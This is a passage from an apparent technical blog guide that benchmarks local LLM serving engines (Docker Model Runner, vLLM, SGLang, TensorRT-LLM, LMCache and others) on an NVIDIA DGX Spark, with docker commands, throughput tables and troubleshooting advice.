Speculative decoding belongs in an engine guide because it is not just a model feature. The engine has to support the draft path, schedule the verification pass, and report whether it actually helped.

## Docker Model Runner: Docker-native local models

[Docker Model Runner](https://docs.docker.com/ai/model-runner/) is for people who want models to behave like Docker artifacts.

The mental model:

```bash
docker model pull ai/gemma3
docker model run ai/gemma3 "Explain Kubernetes pods in one paragraph."
```

That feels very different from managing a Python environment or custom inference server.

Docker's current docs describe Docker Model Runner as supporting:

- pulling models from Docker Hub
- pulling from OCI-compatible registries
- pulling from Hugging Face
- serving OpenAI-compatible and Ollama-compatible APIs
- llama.cpp, vLLM, and Diffusers inference engines, with platform-specific support

The important Spark nuance is platform support. Docker's docs list llama.cpp as the default engine across platforms, while the vLLM backend has stricter platform requirements. On a DGX Spark ARM64 box, treat Docker Model Runner mainly as the Docker-native GGUF/llama.cpp path unless the backend docs for your version explicitly say the vLLM runner is Spark/ARM64 ready.

That changes the framing. Hugging Face support exists. The real distinction is packaging and workflow: Docker Model Runner makes the Docker-native path cleaner.

On my Spark, Docker Model Runner was already running, with client `1.1.37` and server `1.1.11`:

```bash
docker ps
# docker-model-runner   docker/model-runner:latest-cuda   Up 12 hours   127.0.0.1:12434->12434/tcp
```

The runner logs made the active Spark backend clear:

```text
installed llama-server gpuSupport=true
Backend installation failed for backend=vllm error="vLLM binary not found"
Backend installation failed for backend=sglang error="python3 not found in PATH"
```

So for this Spark, Docker Model Runner was not "vLLM hidden inside Docker." It was the Docker-native llama.cpp/GGUF path.

For the controlled test, I packaged the exact same Ollama GGUF blob as a Docker model. The temporary symlink gives the content-addressed blob a `.gguf` filename that the packager recognizes:

```bash
mkdir -p ~/models/day5-qwen25
ln -s /usr/share/ollama/.ollama/models/blobs/sha256-5ee4f07cdb9beadbbb293e85803c569b01bd37ed059d2715faa7bb405f31caa6 \
  ~/models/day5-qwen25/qwen2.5-3b-q4_k_m.gguf

docker model package \
  --gguf ~/models/day5-qwen25/qwen2.5-3b-q4_k_m.gguf \
  --context-size 4096 \
  day5-qwen25:3b-q4km
```

`docker model inspect` identified it as a 3.09B-parameter Qwen2.5 Instruct artifact, `MOSTLY_Q4_K_M`, 1.79 GiB. I then sent the same JSON request (the same Python snippet once more, with `url` pointing at the endpoint below and `model` set to the packaged model name) to Docker Model Runner's engine-specific endpoint:

```text
http://127.0.0.1:12434/engines/llama.cpp/v1/chat/completions
```

The first request returned 256 tokens in `4.666s`, including model loading. The next three took `2.587s`, `2.583s`, and `2.568s`, giving `99.11 wall output tok/s` at the median. The backend's warm decode median was `100.05 tok/s`.

That near-match with bare llama.cpp is exactly what we should expect. Docker Model Runner's value here is the Docker workflow, packaging, lifecycle, and API, not a mysterious new math engine.

After testing, unload and remove the temporary model:

```bash
docker model unload day5-qwen25:3b-q4km
docker model rm day5-qwen25:3b-q4km
rm ~/models/day5-qwen25/qwen2.5-3b-q4_k_m.gguf
rmdir ~/models/day5-qwen25
```

Use Docker Model Runner when:

- your app already runs in Docker Compose
- you want a consistent local developer workflow
- you want to package and move model artifacts through OCI-style tooling
- you want llama.cpp-style local inference without hand-managing llama.cpp

Do not pick it when:

- you need every low-level engine flag
- you are chasing the newest model architecture on day one
- you need the most mature production scheduler

## LM Studio and llmster: GUI when you want it, headless when you do not

[LM Studio](https://lmstudio.ai) used to be easy to summarize as "the GUI one."

That is still true, but incomplete.

LM Studio now has official DGX Spark support through NVIDIA's Spark playbook, and that playbook uses `llmster`, a headless terminal-native LM Studio daemon.

So "avoid LM Studio for headless" is outdated advice.

The better framing:

**LM Studio is the most approachable local model experience, and `llmster` lets the same ecosystem run headless on Spark.**

Use LM Studio when:

- you want a polished UI
- you want to browse, download, and test models interactively
- you want a local API server without hand-building one
- you want to access Spark-hosted models from a laptop through the LM Studio ecosystem

Use something else when:

- you want raw llama.cpp flags
- you are building a high-concurrency API service
- you need a runtime that exposes detailed scheduler and cache tuning

## vLLM: the general production-serving workhorse

[vLLM](https://docs.vllm.ai/en/latest/) is the first serious jump from "local chat" to "serving."

It is not just faster because it has better kernels. It is faster because it is built around serving many requests efficiently.

vLLM gives you:

- continuous batching, explained just below with an example
- PagedAttention for KV cache management, explained just below with an example
- prefix caching: when a new prompt starts with the same text as an earlier one, the engine reuses the earlier prefill work instead of recomputing it
- chunked prefill, explained below
- an OpenAI-compatible API server
- structured outputs: you attach a JSON schema to a request and the engine forces the generated tokens to match it, so a response like `{"severity": "high", "restart": true}` parses reliably when generation finishes within the token limit and the schema features are supported, the same constrained-decoding idea llama.cpp offers through grammars
- tool calling support, the mechanism that lets a model reply "call this function with these arguments" in a machine-readable way, which is what agent frameworks build on
- speculative decoding support, covered in its own section above
- multi-LoRA serving: LoRA adapters are small fine-tuned add-on weights. vLLM keeps one base model loaded and applies a different adapter per request, so ten team-specific model variants do not need ten full copies of a model in memory
- quantization paths including FP8, MXFP4, NVFP4, INT4, GGUF, and more, the formats from Day 4

That list matters because production serving is a queueing problem.

One request comes in. Another starts. A third has a long prompt. A fourth is already decoding. The runtime has to keep the GPU busy without letting one request block the whole line.

That is what continuous batching is for.

Instead of running:

`request A -> request B -> request C`

the engine can pack active work together:

`A token 1 + B token 1 + C prefill + D token 1`

That is why vLLM can look worse for a single user but much better for many users.

### PagedAttention, in plain English

Now the other headline feature, because "paged KV cache management" deserves better than a bullet point.

The KV cache from Day 2 grows token by token while a request runs, and the server cannot know in advance how long any conversation will get.

The naive approach reserves one big contiguous memory block per request, sized for the worst case. Suppose a request reserves room for 4,096 tokens and the conversation only ever reaches 900. The remaining 3,196 slots sit empty, and because the block is contiguous and private, no other request can use them. Serve a handful of users this way and the GPU runs out of "reserved but unused" memory long before it runs out of real capacity. In our example, one request wasted more than three quarters of its reservation, and every concurrent request wastes its own share.

PagedAttention borrows the fix from operating systems. It splits the KV cache into small fixed-size blocks, like memory pages, and hands them out on demand. Our 900-token conversation now occupies about 57 blocks of 16 tokens each (vLLM's default block size) instead of one 4,096-token slab. The moment the request finishes, its blocks return to the shared pool. Blocks do not need to sit next to each other in memory, so external fragmentation is greatly reduced, and far more concurrent requests fit into the same GPU memory.

So the two ideas divide the work: **continuous batching keeps the compute busy, PagedAttention keeps the memory honest.** Together they are most of the reason vLLM behaves so well when requests overlap.

### Chunked prefill, in plain English

One more scheduler idea from the feature list, and you already know the ingredients.

Imagine your answer is streaming smoothly, and a teammate submits an 11,000-token document to the same server. Prefill for that document is a big, dense chunk of work. If the engine processes it in one go, every other user's stream freezes until it finishes.

Chunked prefill slices the big prompt into pieces and interleaves those pieces with everyone else's decode steps. The big document may take a little longer to be read, and everyone else's streams stay much smoother, with the balance tunable through `max_num_batched_tokens`. On a Spark you share with teammates, this is the difference between "smooth" and "the server hiccups whenever someone pastes a log file."

For the controlled test, I used vLLM `0.25.1`, pinned by tag so you run the same build I measured, with the BF16 Qwen checkpoint:

```bash
docker run -d --rm --name day5-vllm-qwen3b --gpus all --ipc=host -p 8000:8000 \
  -v /home/saiyam/.cache/huggingface:/root/.cache/huggingface \
  vllm/vllm-openai:v0.25.1 \
  Qwen/Qwen2.5-3B-Instruct \
  --dtype bfloat16 \
  --max-model-len 4096 \
  --gpu-memory-utilization 0.85 \
  --seed 42
```

It loaded the same cached Hugging Face snapshot later used by SGLang. Server startup took about `156s` end to end: roughly `39s` to read the 5.79 GiB of weights, about `72s` of engine init covering profiling, compilation, KV-cache setup, and CUDA graph capture, and the rest in container and API server startup. The CUDA graph part is worth a one-line explanation: generating a token normally means the CPU issuing thousands of small GPU instructions, so the engine records the whole launch sequence once as a "graph" and then replays it cheaply for every token.

To measure it yourself, reuse the Python snippet from the llama.cpp section: set `url` to `http://127.0.0.1:8000/v1/chat/completions` and `model` to `Qwen/Qwen2.5-3B-Instruct`, run it once cold, then three more times. When you are done, `docker stop day5-vllm-qwen3b` stops the container, and `--rm` removes it.

The first API request took `8.062s`, or `31.75 wall output tok/s`. The next three took `8.042s`, `8.050s`, and `8.079s`, for a warm median of `31.80 tok/s`. Cold and warm match because vLLM `0.25.1` does its heavy compilation during startup instead of on your first request.

Two practical notes before the results. Pin the image version instead of using `latest`: Docker only downloads a tag it does not already have, so an old `latest` sitting on your box will silently run an older vLLM. An earlier pass of this test did exactly that and landed on vLLM `0.19.0`, which printed a PyTorch warning that it supported at most cuda capability `12.0` (the GB10 is `12.1`) and spent `26.8s` on the first request compiling kernels on first use. Both are fixed in current builds. And for NVFP4, MoE, or larger-model work, prefer a Spark-validated image over assuming a generic container has the right `sm_121` kernels.

Now the production-serving point. In a separate earlier sweep with the same Qwen2.5 3B BF16 family and 512 output tokens per request, aggregate throughput climbed as concurrent requests were batched:

| Concurrent requests | Aggregate output throughput |
|---:|---:|
| 1 | 26.14 tok/s |
| 8 | 246.79 tok/s |
| 32 | 851.84 tok/s |
| 64 | 1,462.30 tok/s |

That older sweep used a different date, build, output length, and benchmark goal, so do not splice it into the six-path comparison. It answers a different question: **what can the scheduler do when work overlaps?** Aggregate throughput rose enormously even though one user's stream did not become 56 times faster.

That is why "vLLM is slower than Ollama" is the wrong conclusion. Q4 GGUF versus BF16 explains much of the single-request gap, while vLLM's scheduling value appears under concurrency.

### The vLLM image problem on Spark

On Spark, the Docker image can matter as much as the model.

The Spark is ARM64. The GPU is Blackwell GB10 with `sm_121`. CUDA 13 and model architecture support have moved quickly. If your vLLM image does not include the right kernels or architecture support, performance can be much worse than the hardware should allow.

This has improved since the earliest Spark experiments. vLLM now has a DGX Spark-specific writeup, and NVIDIA has a Spark vLLM playbook with a current support matrix. Start there before trying random containers.

The practical wording is:

**vLLM is one of the strongest production-style serving paths on Spark, but the exact image, model recipe, CUDA build, and kernel support are load-bearing. Treat upstream, NVIDIA, and community images as different runtime builds, not interchangeable wrappers.**

Use vLLM when:

- you are serving a small team or app
- concurrency matters
- OpenAI-compatible APIs matter
- structured output or tool calling matters
- you want Hugging Face safetensors model support
- you can spend time choosing the correct image and runtime flags

Do not start with vLLM when:

- you only want local chat
- you do not want Docker/runtime debugging
- your model only has a GGUF path and llama.cpp already serves it well

## SGLang: when many requests share the same prefix

[SGLang](https://github.com/sgl-project/sglang) is a serving framework for structured generation and agentic workloads.

The key idea is **RadixAttention**.

Plain English:

If 100 requests share the same system prompt, do not process that system prompt 100 times.

Cache the shared prefix once. Reuse it.

Example:

```text
Shared prefix:
You are a Kubernetes assistant. Use these tools...

Request A:
...explain pods

Request B:
...explain services

Request C:
...debug this YAML
```

A normal runtime may repeat a lot of prefill work. SGLang is designed around reusing common prefixes through a radix-tree-style cache.

This is especially useful for:

- multi-agent systems
- RAG systems with shared instructions
- tool-calling systems with repeated tool schemas
- evaluation workloads with repeated few-shot examples
- long system prompts reused across many short user turns

NVIDIA also publishes an official SGLang playbook for DGX Spark, so the old "you must build from source" warning is no longer the right default. Start with the official Spark playbook unless you need a specific patch.

For the controlled test, I used SGLang's CUDA 13 Spark image (the `latest-cu130` tag at test time, pinned below by its immutable digest) and the exact same cached BF16 checkpoint used by vLLM:

```bash
docker run -d --rm --name day5-sglang-qwen3b \
  --gpus all \
  --ipc=host \
  -p 127.0.0.1:30000:30000 \
  -v /home/saiyam/.cache/huggingface:/root/.cache/huggingface \
  lmsysorg/sglang@sha256:00c53fe4c31bf22d7b37537f28bbdfd924c02de13cdfb4bff7378c9c34d75ab2 \
  python3 -m sglang.launch_server \
  --model-path Qwen/Qwen2.5-3B-Instruct \
  --host 0.0.0.0 \
  --port 30000 \
  --dtype bfloat16 \
  --context-length 4096 \
  --attention-backend flashinfer \
  --mem-fraction-static 0.75 \
  --random-seed 42
```

Measurement is the same routine again: the Python snippet from the llama.cpp section with `url` set to `http://127.0.0.1:30000/v1/chat/completions` and `model` set to `Qwen/Qwen2.5-3B-Instruct`, one cold run plus three warm. `docker stop day5-sglang-qwen3b` cleans up afterward.

The image reported SGLang `0.5.15.post1`. Startup took about `82s`, including a `34s` weight load and graph capture. The first API request returned 256 tokens in `9.068s`, or `28.23 wall output tok/s`. The next three took `8.264s`, `8.086s`, and `8.062s`, for a warm median of `31.66 tok/s`.

That is almost the same as vLLM's `31.80 tok/s`, which is a healthy result. This test used one request at a time and did not give SGLang repeated prefixes to exploit. It confirms the basic BF16 path; it does not benchmark RadixAttention's actual advantage.

The startup logs exposed one excellent beginner lesson. With `--mem-fraction-static 0.75`, SGLang reserved about 80 GiB for key and value caches even though the 3B weights needed only about 6 GiB. That flag is a **budget**, not a speed setting. A large cache can support long contexts or more concurrent requests, but on unified-memory Spark it also leaves less room for other models and applications. Size it for your workload instead of copying `0.75` blindly.

The tested module command also printed a notice that `sglang serve` is now the recommended CLI. I have shown the exact command I ran for reproducibility; for a fresh deployment, follow the current Spark playbook syntax.

Use SGLang when:

- your workload has repeated prompt prefixes
- you are building agents
- you care about structured generation
- you are willing to learn a newer serving stack

Use vLLM or Ollama when:

- every prompt is unique
- you only need single-user chat
- you want the largest beginner support surface

## TensorRT-LLM: NVIDIA's performance path

[TensorRT-LLM](https://github.com/NVIDIA/TensorRT-LLM) deserves its own entry because it is a different level of the stack.

It is not a friendly first-run tool like Ollama. It is NVIDIA's open-source library for optimizing LLM inference on NVIDIA GPUs.

NVIDIA's DGX Spark playbook for TensorRT-LLM says the goal directly: install and use TensorRT-LLM on Spark for lower latency and higher throughput through kernel-level optimizations, efficient memory layouts, and advanced quantization.

Those words deserve a plain-English translation. TensorRT-LLM's heritage is **compilation**: the classic flow built the model ahead of time into a fixed engine for one exact GPU, fusing operations together, picking kernels tuned for that specific architecture, and locking in the memory layout. Think of compiling a program with every optimization flag turned on for one specific CPU. You paid with setup time and lost flexibility, and won on latency and throughput.

Current TensorRT-LLM 1.x has softened that trade. The default runtime is now PyTorch-based, so serving no longer requires an offline engine-build step, and the NVIDIA-specific value lives in the optimized kernels, CUDA graphs, and quantization recipes it brings along. What has not changed is the philosophy: TensorRT-LLM works best when you stay on combinations NVIDIA has validated, which is exactly why the Spark playbook publishes a support matrix per model and precision.

One version note: the support matrix below comes from NVIDIA's current Spark playbook, which tracks newer TensorRT-LLM builds than the `1.2.1` stable release I used for the controlled benchmark further down.

It supports Spark model paths such as:

- Nemotron 3 Nano Omni BF16, FP8, and NVFP4
- Nemotron 3 Super 120B NVFP4
- GPT-OSS 20B and 120B MXFP4
- Llama 3.1 8B FP8 and NVFP4
- Llama 3.3 70B NVFP4
- Qwen3 variants
- Llama 4 Scout NVFP4
- two-Spark Qwen3 235B-A22B NVFP4 path

That does not mean every random Hugging Face model will work out of the box. It means TensorRT-LLM is a serious Spark path when your model is supported and you are willing to work closer to NVIDIA's optimized stack.

### TensorRT-LLM on Spark: what I measured

TensorRT-LLM's old reputation is that you must build an engine offline before you can serve anything. Single-node serving is simpler now: `trtllm-serve` in the release container takes the Hugging Face model handle directly, and no separate engine-build step was needed for this run. That is because this run used TensorRT-LLM's default **PyTorch backend**; the classic compiled-TensorRT-engine path still exists as a separate backend, and you can pin the default explicitly with `--backend pytorch`.

```bash
docker run -d --name day5-trtllm-qwen3b --gpus all --ipc=host -p 8000:8000 \
  -v /home/saiyam/.cache/huggingface:/root/.cache/huggingface \
  nvcr.io/nvidia/tensorrt-llm/release:1.2.1 \
  trtllm-serve Qwen/Qwen2.5-3B-Instruct --host 0.0.0.0 --port 8000
```

The server reported TensorRT LLM version `1.2.1` and was ready in about `80s`, roughly half of vLLM's `156s` startup. Then the exact same controlled test as the other paths: same cached BF16 checkpoint, same prompt, 256 output tokens, temperature 0, seed 42, one cold plus three warm requests, sent with the same Python snippet from the llama.cpp section (`url` on port `8000`, `model` set to `Qwen/Qwen2.5-3B-Instruct`).

- first request: 256 tokens in `8.238s`, `31.07 wall output tok/s`
- next three: `8.250s`, `8.279s`, `8.273s`, a warm median of `30.94 wall output tok/s`

Read that honestly: all three engines landed within `0.86 tok/s` of each other in this small batch-one sample (vLLM `31.80`, SGLang `31.66`, TensorRT-LLM `30.94`), which is consistent with bandwidth-bound decode. For one BF16 request at a time, "NVIDIA's performance path" was not faster here. All three engines are pushing the same bytes through the same 273 GB/s of unified memory, so once the artifact and precision are fixed, single-request decode leaves an engine very little room to differentiate.

Where TensorRT-LLM is built to earn its name is everything this little test deliberately excluded: the NVFP4 and FP8 quantized paths in the support matrix, speculative decoding variants, and batched serving. Those are separate, bigger experiments.

Cleanup:

```bash
docker rm -f day5-trtllm-qwen3b
```

Use TensorRT-LLM when:

- you want to benchmark the NVIDIA-optimized path
- your model is in the Spark support matrix
- you care about FP8, FP4, KV cache handling, kernel-level tuning, and speculative decoding variants like MTP and EAGLE (EAGLE, like MTP, is a draft-and-verify method from the speculative decoding family explained earlier)
- setup complexity is acceptable

Use something else when:

- you want the easiest first local chat
- you are still exploring models
- your target model is not supported yet

## NVIDIA NIM: packaged and supported serving

[NIM](https://developer.nvidia.com/nim) stands for NVIDIA Inference Microservice.

The simple version:

**NIM is a model-serving container with NVIDIA's supported packaging around it.**

It exposes an HTTP inference endpoint, handles containerized deployment, and gives you a more enterprise-shaped runtime story than hand-rolling an engine container yourself.

A common shortcut is to say "NIM is TensorRT-LLM under the hood" or "NIM is only for Nemotron." That is too absolute.

Current NIM documentation and NVIDIA/Hugging Face material describe NIM as a serving layer that can select among backends such as TensorRT-LLM, vLLM, or SGLang depending on model/profile. A "profile" is a pre-tuned bundle of model, precision, backend engine, and target hardware that NVIDIA has validated together, so you deploy a known-good combination instead of assembling one by hand. NVIDIA's Spark NIM playbook also mentions Llama 3.1 8B and Qwen3-32B options, not just Nemotron.

The accurate mental model is:

**NIM is the right choice when NVIDIA has a tested NIM/profile for the model you want and you care about support, packaging, metrics, health checks, and standard operations more than maximum tinkering freedom.**

Use NIM when:

- you want NVIDIA-supported containers
- you are in an enterprise or production setting
- your target model has a tested NIM/profile
- you want a hardened API service with operations built in

Do not use NIM as the first beginner path when:

- you are casually exploring local models
- you do not have NGC access
- you want to run arbitrary community checkpoints
- you want to tweak every engine flag directly

## Hermes Agent, NemoClaw, OpenClaw: not engines, but still important

Agent frameworks sit above the runtime.

They do not replace Ollama, LM Studio, vLLM, or NIM. They call them.

Hermes Agent is a good example. NVIDIA's current Spark playbook connects Hermes to a local model served by vLLM. NemoClaw's Spark playbook also routes inference to local vLLM now (it previously used Ollama). OpenClaw can also sit on top of a local OpenAI-compatible endpoint. The important point is the same in all cases: the agent layer handles tool use, task loops, and local workflow logic. The runtime underneath still does the token generation.

The same mental model applies to NemoClaw, OpenClaw, custom RAG apps, coding agents, and your own tools.

The clean framing is:

**Hermes is a reason you need a runtime. It is not the runtime itself.**

This is a nice bridge to Day 7, where the local lab becomes an actual workflow.

## The fairest comparison I could make on one Spark

The obvious question is: **why not run the same model through every path?**

That is exactly what I did with `Qwen2.5-3B-Instruct`. But "the same model" still needs one careful explanation.

The learned model can be packaged in different files:

- **GGUF Q4_K_M** stores a compressed 4-bit version used by llama.cpp-style engines.
- **BF16 safetensors** stores the model at 16-bit precision and is the normal Hugging Face path for vLLM and SGLang.

Those files come from the same Qwen2.5 3B Instruct model, but they do not move the same number of bytes through memory. Comparing Q4 directly with BF16 would mix the effect of the **engine** with the effect of the **format**.

So I used two honest lanes.

### Lane A: the exact same GGUF file

Ollama stores its pulled model as a content-addressed blob. I mounted that exact `Qwen2.5-3B-Instruct Q4_K_M` blob read-only into bare llama.cpp, then packaged the same blob for Docker Model Runner. No second conversion. No similarly named download.

| Serving path | First request wall output | Warm median wall output | Engine-reported warm decode |
|---|---:|---:|---:|
| Ollama `0.30.10` | 31.68 tok/s | **93.74 tok/s** | 99.14 tok/s |
| bare llama.cpp, build `9917` | 14.47 tok/s | **101.55 tok/s** | 102.26 tok/s |
| Docker Model Runner `1.1.11` | 54.86 tok/s | **99.11 tok/s** | 100.05 tok/s |

The warm numbers are close because all three paths eventually use the same compact GGUF weights and llama.cpp-family compute path. The wrappers change loading, packaging, defaults, APIs, and operations. They do not magically change a 3B model into different math.

### Lane B: the exact same BF16 checkpoint

For vLLM, SGLang, and TensorRT-LLM, I mounted the same cached Hugging Face snapshot of `Qwen/Qwen2.5-3B-Instruct` and served it as BF16.

| Serving path | First request wall output | Warm median wall output | What this path adds |
|---|---:|---:|---|
| vLLM `0.25.1` | 31.75 tok/s | **31.80 tok/s** | Paged KV cache, continuous batching, production API controls |
| SGLang `0.5.15.post1` | 28.23 tok/s | **31.66 tok/s** | Radix prefix cache and structured-serving controls |
| TensorRT-LLM `1.2.1` | 31.07 tok/s | **30.94 tok/s** | NVIDIA-optimized kernels, FP8/NVFP4 recipes, MTP and EAGLE paths |

Their warm single-request speeds are nearly identical, all three within about one token per second. That does **not** mean these engines are the same. Their real differences appear when requests overlap, prefixes repeat, schemas constrain output, quantized formats come into play, caches fill, and operators need metrics and control.

### The test protocol

Every path ran alone. I unloaded or stopped one runtime before starting the next.

- same Spark, driver `580.159.03`, NVIDIA GB10
- same prompt, 75 input tokens
- exactly 256 requested output tokens
- temperature `0`, seed `42`
- one first request, then three warm sequential requests
- warm result is the median of those three requests
- no concurrency during this comparison

This table answers: **how do these paths behave for one controlled local request?** It does not answer: **which server wins at 32 simultaneous users?** The concurrency sweep in the vLLM section above showed that distinction.

The most useful result is not a winner. It is this:

**Keep the artifact fixed when comparing wrappers. Keep the precision fixed when comparing engines. Then test the workload you actually care about.**

Every number in these tables comes from the exact commands, flags, and measurement steps shown in the engine sections above, so you can redo the whole comparison on your own Spark.

## The honest comparison table

The controlled numbers are in the two-lane tables in the previous section. This final table answers a different question: **what kind of job is each path built to do?**

| Path | Best for | Single-user feel | Multi-user serving | Setup pain | Spark status |
|---|---|---:|---:|---|---|
| Ollama | first local chat | strong | basic to moderate | low | official path; Q4 tested here |
| llama.cpp | GGUF power users | strong | moderate | medium | direct CUDA/GGUF tested here |
| Docker Model Runner | Docker-native workflows | strong | moderate, backend-dependent | low to medium | ARM64 llama.cpp path tested here |
| LM Studio / llmster | GUI or headless local service | strong | small-team API | low | official Spark playbook |
| vLLM | team API serving | model-dependent | strong | medium to high | BF16 tested here; image matters |
| SGLang | agents and shared prompts | model-dependent | strong when prefixes repeat | medium to high | BF16 tested here; official playbook |
| TensorRT-LLM | NVIDIA optimized path | strong when supported | strong | high | official Spark playbook |
| NIM | supported packaged serving | strong when profiled | strong | medium | best with tested model profile |
| Dynamo | distributed orchestration | not the point | very strong at scale | high | watch for multi-Spark/larger systems |
| ZML/LLMD alpha | cross-hardware serving | promising, unbenchmarked here | unknown | medium | smoke-tested on Spark with Qwen3 0.6B |

And here is the simple version:

{{day5-engine-choice-animation}}

## My practical decision tree

If you remember nothing else:

- **Just chatting on Spark:** start with Ollama.
- **You want GUI or a friendly local server:** use LM Studio or `llmster`.
- **You want raw GGUF control:** use llama.cpp directly.
- **You are Docker-native:** try Docker Model Runner.
- **You are serving a team or app:** use vLLM.
- **Your prompts repeat across agents or tools:** evaluate SGLang.
- **Your model is in NVIDIA's Spark TensorRT-LLM matrix:** benchmark TensorRT-LLM.
- **You need NVIDIA-supported packaged serving:** use NIM.
- **You are thinking multi-Spark or larger distributed serving:** watch Dynamo.

## The six things that go wrong

Once readers run these engines, six failure patterns appear repeatedly.

### 1. CUDA out of memory

The model loads, then dies. Or it runs until the prompt gets longer, then dies.

Most likely cause: the model weights fit, but the KV cache does not. A long context window can eat memory quickly, especially with concurrency.

First fixes:

- reduce context length
- lower `--max-model-len` in vLLM
- lower `num_ctx` in Ollama
- try FP8 KV cache if your engine supports it
- use a smaller model or smaller quantization

### 2. The model repeats the prompt or talks nonsense

Most likely cause: wrong chat template.

A base model and an instruct model are not the same thing. A model trained with one chat wrapper may behave badly if you send a different wrapper.

First fixes:

- confirm you pulled the instruct/chat variant
- use the model card's chat template
- prefer `/v1/chat/completions` over raw completions for chat models

### 3. First token takes forever

Most likely cause: prefill is doing real work.

A long prompt has to be read before generation starts. If your system prompt is 20,000 tokens, the runtime is not frozen. It is building the KV cache.

First fixes:

- shorten the system prompt
- enable or verify prefix caching
- warm the model with a representative prompt
- separate "load time" from "first-token latency"

### 4. A small model streams slowly

Most likely cause: CPU fallback or wrong GPU path.

First fixes:

- check `ollama ps` for GPU use
- check container logs for CUDA or kernel fallback
- confirm your image supports ARM64 and Spark's Blackwell path
- verify the model was not partly spilled to CPU by accident

### 5. JSON output keeps breaking

Most likely cause: you are asking a probabilistic model to freestyle a strict schema.

First fixes:

- set temperature near zero
- use structured output or grammar-constrained decoding
- use a tool-tuned model
- validate and retry in the app

### 6. The model loops or never stops

Most likely cause: stop tokens or sampling settings.

First fixes:

- check the model's expected stop tokens
- add a mild repetition penalty
- cap max output tokens

The three-step debug ladder:

1. Is the chat template right?
2. Is the memory budget honest?
3. Is the GPU actually being used?

These three checks solve a surprising number of "Spark is slow" reports.

## Optional deep cuts: newer serving layers worth watching

You can skip this section on a first read. The core choices above are enough to start serving a model. These projects matter when you begin asking harder questions about clusters, persistent caches, and cross-hardware runtimes.

There is a lot happening outside the core tools above.

### NVIDIA Dynamo

[NVIDIA Dynamo](https://developer.nvidia.com/dynamo) is an open-source distributed inference framework. It is not a replacement for vLLM, SGLang, or TensorRT-LLM. It coordinates them.

The important ideas are:

- route requests intelligently
- split prefill and decode across different workers
- move KV cache between memory tiers
- support distributed serving with backends like vLLM, SGLang, and TensorRT-LLM

On one Spark, this is probably not your Day 5 first move. For multi-Spark or larger production inference, Dynamo is worth watching closely.

### LMCache: tested on this Spark, with a surprise ending

[LMCache](https://lmcache.ai) is not an engine either. It is a KV cache layer that plugs into an engine, mainly vLLM, where it is integrated with upstream vLLM and used in vLLM and Dynamo production-style workflows.

The shortest possible explanation:

- vLLM can reuse a shared prompt while its own in-memory cache is alive
- LMCache tries to keep or share that expensive prompt work beyond one engine's memory
- on this single-Spark test, vLLM's own cache already handled the easy case
- the extra LMCache disk-persistence path wrote data successfully but could not find it after restart in the tested version pairing

So this is a useful real experiment, not a recommendation to add LMCache to every local setup.

Remember the mental model from earlier: prefill reads your prompt and builds the KV cache, and that work is expensive. Normally the cache lives in GPU memory and dies when it is evicted or the server restarts. LMCache treats that cache as something worth keeping. It can:

- save KV cache to disk or a remote store, so it survives restarts
- reuse cached work for repeated text anywhere in a prompt, not just shared prefixes (through its CacheBlend feature, which selectively recomputes tokens to recover quality)
- share cache between multiple serving instances

The classic pitch assumes a discrete GPU, where moving KV cache from GPU memory to CPU RAM frees precious VRAM. On a Spark that trick matters less, because the 128 GB is one unified pool. The parts that could matter here are disk persistence and cross-request reuse, for example a RAG setup where many requests carry the same large document.

Instead of leaving this as a map entry, I tested it on this Spark on 2026-07-15 and retested on 2026-07-16 after a vLLM upgrade, three version pairings in total. Here is what actually happened.

**Getting it installed.** LMCache publishes x86_64 manylinux wheels, but on ARM64/Spark I only had the source build path. Inside `vllm/vllm-openai:v0.25.1`, a plain `pip install lmcache` builds 0.5.1 from source cleanly, because the image ships `nvcc` and gcc. It was messier on the older vLLM 0.19.0 image: there, pip quietly backtracked to LMCache 0.4.2 to avoid downgrading the image's torch, and forcing 0.5.1 with `--no-deps` failed on a missing `cusparse.h` header until `CPATH` pointed at the headers inside torch's pip-installed CUDA packages. Across the two images, I built and tested LMCache 0.4.2 and 0.5.1.

**Running it.** Here is the exact path I used, so you can redo it on your own Spark. First bake LMCache into the vLLM image (the source build takes a few minutes):

```bash
docker run --name lmcache-build --entrypoint bash \
  -e TORCH_CUDA_ARCH_LIST=12.1 \
  vllm/vllm-openai:v0.25.1 \
  -c "pip install --no-cache-dir --no-build-isolation lmcache"

docker commit lmcache-build lmcache-vllm:spark
docker rm lmcache-build
```

Then write a small LMCache config, `~/lmcache-config.yaml`. This enables the CPU and disk tiers:

```yaml
chunk_size: 256
local_cpu: true
max_local_cpu_size: 20
local_disk: "file:///lmcache-disk/"
max_local_disk_size: 40
```

And start vLLM with the connector attached:

```bash
mkdir -p ~/lmcache-disk

docker run -d --rm --name day5-lmcache --gpus all --ipc=host -p 8000:8000 \
  -v /home/saiyam/.cache/huggingface:/root/.cache/huggingface \
  -v /home/saiyam/lmcache-disk:/lmcache-disk \
  -v /home/saiyam/lmcache-config.yaml:/lmcache-config.yaml:ro \
  -e LMCACHE_CONFIG_FILE=/lmcache-config.yaml \
  --entrypoint python3 \
  lmcache-vllm:spark \
  -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-3B-Instruct \
  --max-model-len 20480 \
  --gpu-memory-utilization 0.5 \
  --kv-transfer-config '{"kv_connector":"LMCacheConnectorV1","kv_role":"kv_both"}'
```

You know LMCache is live when the startup logs show `Creating LMCacheEngine instance` and each request logs a `LMCache hit tokens:` line.

**How I measured TTFT.** Time-to-first-token was measured on the box with a stdlib Python script that sends a streaming `/v1/chat/completions` request (an 11,342-token document plus a short question, `max_tokens` 64, temperature 0) and records the time until the first content chunk arrives. The restart test is `docker restart day5-lmcache`, wait for `/v1/models` to return 200, then repeat the same request. Cleanup afterward: `docker stop day5-lmcache`, and delete the `~/lmcache-disk` directory if you want the stored chunks gone.

**The measured numbers.** This is not a general LMCache benchmark. This is one Spark, one model, and the in-process LMCacheConnectorV1 path. Same box, same model as my vLLM section: Qwen2.5-3B-Instruct BF16, one request at a time, an 11,342-token document plus a short question, TTFT measured on the box via the streaming API. These numbers are the current pairing, vLLM `0.25.1` with LMCache `0.5.1`:

| Scenario | vLLM alone | vLLM + LMCache |
|---|---|---|
| First request after startup | 1.26 s | 1.31 to 1.36 s |
| Same document, new question | 0.072 s | 0.080 s |
| After a server restart | 1.24 s | 1.30 s |
| Decode speed | ~30 tok/s | ~30 tok/s |

